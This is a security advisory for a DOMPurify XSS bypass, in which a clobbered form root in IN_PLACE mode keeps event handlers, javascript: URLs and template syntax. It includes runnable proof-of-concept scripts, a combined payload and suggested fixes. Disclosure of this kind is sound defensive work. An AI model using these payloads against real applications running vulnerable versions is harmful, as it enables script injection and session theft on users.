CVE-2026-49459
ADVISORY - githubSummary
IN_PLACE mode preserves attributes of a clobbered root element, allowing XSS via attacker-controlled root DOM
CWE: CWE-79 (XSS — Improper Neutralization of Input During Web Page Generation) via CWE-693 (Protection Mechanism Failure — silent no-op when _forceRemove is called on a parent-less node)
Summary
When DOMPurify.sanitize(root, { IN_PLACE: true }) is called and root is a <form> whose own attributes carry an event handler (onmouseover, onfocus, onclick, etc.), a single descendant element with a name= attribute matching any of the property names _isClobbered checks (nodeName, setAttribute, namespaceURI, insertBefore, hasChildNodes, childNodes) is sufficient to bypass attribute sanitization on the root. _forceRemove silently no-ops because the root has no parent; the iterator drives on to _sanitizeAttributes, which early-returns on clobbered nodes — and the event handler attribute is never inspected. The sanitized return is the same root, with the handler live.
This affects current main at 89da34e (the just-landed DOM-clobbering hardening fix at 89da34e addressed _sanitizeAttachedShadowRoots walk traversal, not the main _sanitizeElements / _sanitizeAttributes pipeline against the iterator-root node).
Affected
- DOMPurify ≤ 3.4.5, including
mainat89da34e03ec17868e561f87f3747a9371b61a9e7 - Any caller that does
DOMPurify.sanitize(node, { IN_PLACE: true })wherenodeis built from untrusted HTML (e.g., parsed viacreateElement('template').innerHTML = dirtythentemplate.content.firstElementChildhanded in)
Not affected:
- String-input
DOMPurify.sanitize(dirtyString)— the library builds the DOM itself inside_initDocument, the root is the cleanly-created document body, and clobber-named children of the body cannot shadowbodynamed properties (HTMLBodyElement does not carry[LegacyOverrideBuiltIns]) - IN_PLACE where the root is not an HTMLFormElement
- IN_PLACE where the attacker cannot place a clobber-named child inside the root
Vulnerability details
Code paths
[A] — _forceRemove at src/purify.ts:930-939:
const _forceRemove = function (node: Node): void {
arrayPush(DOMPurify.removed, { element: node });
try {
// eslint-disable-next-line unicorn/prefer-dom-node-remove
getParentNode(node).removeChild(node); // [A1] throws when getParentNode returns null
} catch (_) {
remove(node); // [A2] WebIDL Node.remove() — spec-defined no-op
} // when the node has no parent
};
When the iterator-root has no parent (the standard IN_PLACE case where the caller hands in a detached node), getParentNode(node) returns null, null.removeChild(node) throws, the catch falls to remove(node) — which per WebIDL is Element.prototype.remove.call(node), and per spec does nothing if the node has no parent. Nothing about _forceRemove's contract acknowledges this — the function appears to its callers as "the node is gone now," but the node is still in place.
[B] — _sanitizeAttributes at src/purify.ts:1490-1492:
const _sanitizeAttributes = function (currentNode: Element): void {
_executeHooks(hooks.beforeSanitizeAttributes, currentNode, null);
const { attributes } = currentNode;
/* Check if we have attributes; if not we might have a text node */
if (!attributes || _isClobbered(currentNode)) {
return; // [B] silently skips ALL attribute checks
} // for clobbered nodes
...
};
The skip at [B] is deliberate — the intent is to avoid touching nodes the library has already decided to discard. The invariant the comment implies is "if _isClobbered, then _sanitizeElements already removed this node, so we will never reach _sanitizeAttributes on it." That invariant holds for every non-root node (their _forceRemove succeeds in detaching them), but fails for the iterator root in IN_PLACE mode.
The mismatch is between [A] and [B]: [A] assumes "removal" means the node will not be observed again, and [B] assumes any clobbered node it sees has already been removed. Neither holds for the iterator root. A correct guard would either make _forceRemove fail loudly on parent-less nodes (so the caller can bail out of IN_PLACE entirely) or have _sanitizeAttributes strip attributes from clobbered roots before returning.
Iterator call site
src/purify.ts:1850-1864 ignores the boolean return value of _sanitizeElements:
const nodeIterator = _createNodeIterator(IN_PLACE ? dirty : body);
while ((currentNode = nodeIterator.nextNode())) {
_sanitizeElements(currentNode); // returns `true` if killed — IGNORED
_sanitizeAttributes(currentNode); // runs unconditionally; relies on [B]'s skip
...
}
If the return value were checked and _sanitizeAttributes skipped when the node was "killed," the bug would not exist as a discrete issue — but currently _sanitizeAttributes is the only line of defense for a node that _sanitizeElements could not actually detach.
Why the clobber works
In Chromium/WebKit/Firefox, HTMLFormElement carries the WebIDL [LegacyOverrideBuiltIns] extended attribute on its named-property getter. A descendant element with name="X" (or id="X", for radio-button-like names) shadows the matching property on the form, including properties inherited from Element, Node, and EventTarget prototypes. This is the same primitive the just-landed 89da34e fix addresses for shadow-root traversal, but _isClobbered's typeof checks (and the bypass-by-detection-failure path here) are independent of that fix.
Verified clobber targets (each name= value independently triggers _isClobbered):
name= value |
property _isClobbered checks |
typeof on clobbered form |
|---|---|---|
nodeName |
typeof element.nodeName !== 'string' |
object (an <INPUT>) |
setAttribute |
typeof element.setAttribute !== 'function' |
object (not callable) — but <embed>/<applet>/<iframe> ARE callable; see "Note on callable elements" below |
namespaceURI |
typeof element.namespaceURI !== 'string' |
object |
insertBefore |
typeof element.insertBefore !== 'function' |
object |
hasChildNodes |
typeof element.hasChildNodes !== 'function' |
object |
childNodes |
!(element.childNodes && typeof element.childNodes.length === 'number') |
object — <INPUT> has no .length |
attributes |
!(element.attributes instanceof NamedNodeMap) |
object (an <INPUT> is not a NamedNodeMap) |
textContent |
typeof element.textContent !== 'string' |
object |
removeChild |
typeof element.removeChild !== 'function' |
object (non-callable) |
removeAttribute |
typeof element.removeAttribute !== 'function' |
object (non-callable) |
Any single one of the ten property names in _isClobbered's checklist is sufficient as the bypass trigger.
Proof of concept
(1) Minimal — runnable in a single browser context
<!doctype html>
<html><body>
<script src="dist/purify.js"></script>
<script>
const root = document.createElement('form');
root.setAttribute('onmouseover', 'window.__rooted = 1');
const clobber = document.createElement('input');
clobber.setAttribute('name', 'nodeName');
root.appendChild(clobber);
// typeof root.nodeName === 'object' (an <INPUT> element), not 'string'.
// _isClobbered fires; _forceRemove(root) becomes a no-op because root.parentNode === null.
DOMPurify.sanitize(root, { IN_PLACE: true });
console.log('output:', root.outerHTML);
// <form onmouseover="window.__rooted = 1"><input name="nodeName"></form>
// ^^^^^^^^^^^^^^^^^^ event handler survived ^^^^^^^^^^^^^^^^^^
document.body.appendChild(root);
root.dispatchEvent(new MouseEvent('mouseover', { bubbles: true }));
console.log('handler fired:', window.__rooted === 1); // true
</script>
</body></html>
(2) End-to-end — Playwright against main HEAD
const { chromium } = require('playwright');
const path = require('path');
(async () => {
const browser = await chromium.launch();
const page = await browser.newPage();
await page.setContent('<!doctype html><html><body></body></html>');
await page.addScriptTag({ path: path.resolve('dist/purify.js') });
const result = await page.evaluate(() => {
const root = document.createElement('form');
root.setAttribute('onmouseover', 'window.__rooted = 1');
const clobber = document.createElement('input');
clobber.setAttribute('name', 'nodeName');
root.appendChild(clobber);
DOMPurify.sanitize(root, { IN_PLACE: true });
document.body.appendChild(root);
window.__rooted = 0;
root.dispatchEvent(new MouseEvent('mouseover', { bubbles: true }));
return {
version: DOMPurify.version,
output: root.outerHTML,
handlerFired: window.__rooted === 1,
};
});
console.log(result);
await browser.close();
})();
Observed (Chromium 148.0.7778.96, DOMPurify 3.4.5, HEAD 89da34e):
{
version: '3.4.5',
output: '<form onmouseover="window.__rooted = 1"><input name="nodeName"></form>',
handlerFired: true
}
(3) Variant matrix — six distinct clobber-target properties
Every property name in _isClobbered's typeof checklist works as the bypass trigger:
[BYPASS] name="nodeName" → <form onmouseover="…"><input></form>
[BYPASS] name="setAttribute" → <form onmouseover="…"><input></form>
[BYPASS] name="namespaceURI" → <form onmouseover="…"><input></form>
[BYPASS] name="insertBefore" → <form onmouseover="…"><input></form>
[BYPASS] name="hasChildNodes" → <form onmouseover="…"><input></form>
[BYPASS] name="childNodes" → <form onmouseover="…"><input></form>
This makes the fix less of a one-line patch — every property _isClobbered checks for the typeof-spoofing pattern needs to be considered.
Impact
Direct
Two distinct impact paths from the same root-attribute-survival primitive:
(a) XSS via event-handler attribute on the surviving root. Any consumer that uses DOMPurify.sanitize(node, { IN_PLACE: true }) where node originated from untrusted HTML and is re-inserted into the live document is vulnerable to XSS. The typical pattern is:
const t = document.createElement('template');
t.innerHTML = untrustedHtml;
DOMPurify.sanitize(t.content.firstElementChild, { IN_PLACE: true });
container.appendChild(t.content.firstElementChild);
If untrustedHtml is <form onmouseover=…><input name=nodeName>…</form>, the resulting node has the onmouseover attribute intact when re-inserted into the live document.
(b) Every attribute-level defense is bypassed on the surviving root, not just event handlers. The _sanitizeAttributes early-return at :1490 skips the entire attribute walk for clobbered nodes, so the root preserves attributes that the attribute walk would otherwise sanitize. Verified additional attributes that survive:
action="javascript:..."andformaction="javascript:..."— URI validation at:1413never runs. A user click on a submit button inside the sanitized form navigates to thejavascript:URL, executing the handler. Adds a click-triggered XSS path on top of the mouseover/focus event-handler attributes already documented.id="<colliding-name>"— the DOM-clobbering guard at:1352-1359(SANITIZE_DOM && (lcName === 'id' || lcName === 'name') && (value in document || value in formElement)) lives inside_sanitizeAttributesand is skipped. An attacker can therefore landid="cookie",id="body",id="head",id="firstChild", etc. on the surviving form root and use it as a DOM-clobbering primitive against any consumer code that doesdocument.cookie,document.body, etc.target="_top",autofocus,formenctype,formmethod— all survive untouched.- Custom event handlers DOMPurify wouldn't have explicit list entries for (e.g., newly-spec'd
oncontentvisibilityautostatechange) survive on the clobbered root via the same skip; the per-name allow-list at:1361-1364never runs.
Verified — full attribute set survives on a single payload (PoC):
const root = document.createElement('form');
root.setAttribute('action', 'javascript:alert(1)');
root.setAttribute('target', '_top');
root.setAttribute('onclick', 'alert(2)');
root.setAttribute('onmouseover', 'alert(3)');
root.setAttribute('autofocus', '');
root.setAttribute('formaction', 'javascript:alert(4)');
root.setAttribute('id', 'cookie'); // DOM-clobbering primitive
root.innerHTML += '<input name="nodeName">';
DOMPurify.sanitize(root, { IN_PLACE: true });
console.log(root.outerHTML);
// <form action="javascript:alert(1)" target="_top" onclick="alert(2)"
// onmouseover="alert(3)" autofocus="" formaction="javascript:alert(4)"
// id="cookie"><input></form>
(c) Defense-in-depth re-sanitization on the same node is INEFFECTIVE — the clobber is sticky. Chromium's HTMLFormElement named-property cache appears to retain the named child reference even after the child's name attribute is removed during the sanitization pass. Empirically verified — after the first sanitize pass, the input's name="nodeName" attribute is correctly stripped (the output shows <input> with no attributes), yet typeof form.nodeName === 'object' is still true and the input element is still returned. Calling DOMPurify.sanitize(sameNode, { IN_PLACE: true }) a second time hits the same _isClobbered → _forceRemove → _sanitizeAttributes early-return path. The only effective recovery is serialize-then-reparse:
const root = parseAttackerHtml(); // form with input name="nodeName" child
DOMPurify.sanitize(root, { IN_PLACE: true }); // bypass: attrs survive
DOMPurify.sanitize(root, { IN_PLACE: true }); // STILL bypassed: attrs survive
const recovered = (() => {
const t = document.createElement('template');
t.innerHTML = root.outerHTML; // forces a fresh parse
const r = t.content.firstElementChild;
DOMPurify.sanitize(r, { IN_PLACE: true });
return r;
})();
// recovered.outerHTML === '<form><input></form>' ← finally clean
A "belt-and-suspenders" caller that re-runs DOMPurify on its own output is therefore not protected against this primitive on Chromium; the obvious mitigation pattern fails silently. Any user-side workaround needs to route through a string round-trip.
(d) SAFE_FOR_TEMPLATES bypass for the root's attributes. When the caller sets SAFE_FOR_TEMPLATES: true to defend a downstream template engine (Vue, Angular, Liquid, Handlebars, …) from receiving {{…}} / <%…%> / ${…} syntax through DOMPurify's output, attribute-level template-syntax stripping runs in the same _sanitizeAttributes pass that early-returns on clobbered roots (:1572-1576). The root's attributes therefore retain raw template syntax that the downstream engine then evaluates.
Verified — same PoC structure, with SAFE_FOR_TEMPLATES: true:
const root = document.createElement('form');
root.setAttribute('title', '{{evil}}');
root.setAttribute('onmouseover', 'window.__x=1');
const c = document.createElement('input');
c.setAttribute('name', 'nodeName');
root.appendChild(c);
DOMPurify.sanitize(root, { IN_PLACE: true, SAFE_FOR_TEMPLATES: true });
console.log(root.outerHTML);
// <form title="{{evil}}" onmouseover="window.__x=1"><input></form>
// ^^^^^^^^^^^^^^^^ template syntax survives
This compounds with (a): a single payload exfiltrates via XSS (immediate) and via SSTI to downstream renderers (delayed).
(Text-node content inside the form is still scrubbed correctly — _scrubTemplateExpressions at :1868-1870 walks text/comment/CDATA/PI nodes independently and reaches them via the iterator. Only attribute values on the clobbered root escape.)
Indirect / second-order
- DOM-based template systems / editors that wrap DOMPurify with an IN_PLACE call for parsed user content (CMSes, comment widgets, WYSIWYG editors persisting structured HTML).
- Email/HTML preview libraries that pre-parse received HTML before sanitization for performance reasons.
- Frameworks that hand DOMPurify a node tree rather than a string — including, indirectly, any code path that does
el.innerHTML = …; DOMPurify.sanitize(el, { IN_PLACE: true }). The outerelis fine (it's not the form), but if the first child ofelis taken as the sanitization root in a different code path, the bypass triggers.
Why current main is also vulnerable
Commit 89da34e ("fix: fixed a possible DOM clobbering with IN_PLACE and shadow DOM") hardens _sanitizeAttachedShadowRoots via three new cached prototype getters (getShadowRoot, getNodeName, getNodeType) and an _isClobbered extension that checks element.childNodes.length. The fix is correct for its scope — shadow-root traversal — but does not change _forceRemove's parent-less-node behavior or _sanitizeAttributes's clobber-skip early-return. The bypass demonstrated here is in the IN_PLACE main pipeline, not the shadow-root walk, and the verification PoC above runs against HEAD 89da34e and still succeeds.
Suggested fix
Two minimal-risk options:
Make
_forceRemovehonest about failure: return whether the node was actually detached, and have the iterator call site honor that.const _forceRemove = function (node: Node): boolean { arrayPush(DOMPurify.removed, { element: node }); try { getParentNode(node).removeChild(node); return true; } catch (_) { try { remove(node); } catch (_) {} return node.parentNode === null && /* but still attached to itself */ false; } };Then at
:1855, if_sanitizeElementsreturns true AND IN_PLACE, force-strip all attributes of the root before returning the dirty tree. (This is what the user expects — sanitization either succeeds or refuses to return a "sanitized" handle to an unsanitized tree.)Strip attributes inside
_sanitizeAttributesfor clobbered roots: when_isClobbered(currentNode)is true at:1490, instead of early-returning, iteratecurrentNode.attributes(using the cachedgetAttributesif you add one) and remove each viaremoveAttribute. This preserves the existing semantics for non-root clobbered nodes (their attributes-of-a-removed-node will be GC'd anyway) and removes the attack surface for root.Refuse IN_PLACE on parent-less clobbered roots: at the top of the iterator, check that the root either has a parent OR is not
_isClobbered. If both fail, throw. This is the most defensive option but breaks any existing caller that hands in a clobbered detached root expecting "sanitized = empty/safe."
Note on callable elements
In Chromium and WebKit, HTMLEmbedElement, HTMLAppletElement, HTMLIFrameElement, and HTMLScriptElement have typeof === 'function' because they expose plugin/iframe [[Call]] traps at the WebIDL level. A name="setAttribute" child of one of these tags spoofs the setAttribute typeof === 'function' check — but only matters for the attribute re-set path at :1619, not the bypass demonstrated here (which uses nodeName and friends). The callable-element vector is worth checking separately as a potential SAFE_FOR_TEMPLATES-bypass primitive; the present report does not depend on it.
Common Weakness Enumeration (CWE)
GitHub
CVSS SCORE
6.1medium| Package | Type | OS Name | OS Version | Affected Ranges | Fix Versions |
|---|---|---|---|---|---|
| dompurify | npm | - | - | <=3.4.5 | 3.4.6 |
CVSS:3 Severity and metrics
The CVSS metrics represent different qualitative aspects of a vulnerability that impact the overall score, as defined by the CVSS Specification.
The vulnerable component is bound to the network stack, but the attack is limited at the protocol level to a logically adjacent topology. This can mean an attack must be launched from the same shared physical (e.g., Bluetooth or IEEE 802.11) or logical (e.g., local IP subnet) network, or from within a secure or otherwise limited administrative domain (e.g., MPLS, secure VPN to an administrative network zone). One example of an Adjacent attack would be an ARP (IPv4) or neighbor discovery (IPv6) flood leading to a denial of service on the local LAN segment (e.g., CVE-2013-6014).
Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component.
The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
Successful exploitation of this vulnerability requires a user to take some action before the vulnerability can be exploited. For example, a successful exploit may only be possible during the installation of an application by a system administrator.
An exploited vulnerability can affect resources beyond the security scope managed by the security authority of the vulnerable component. In this case, the vulnerable component and the impacted component are different and managed by different security authorities.
There is some loss of confidentiality. Access to some restricted information is obtained, but the attacker does not have control over what information is obtained, or the amount or kind of loss is limited. The information disclosure does not cause a direct, serious loss to the impacted component.
Modification of data is possible, but the attacker does not have control over the consequence of a modification, or the amount of modification is limited. The data modification does not have a direct, serious impact on the impacted component.
There is no impact to availability within the impacted component.
minimos
MINI-p2mq-mhf3-phxm
-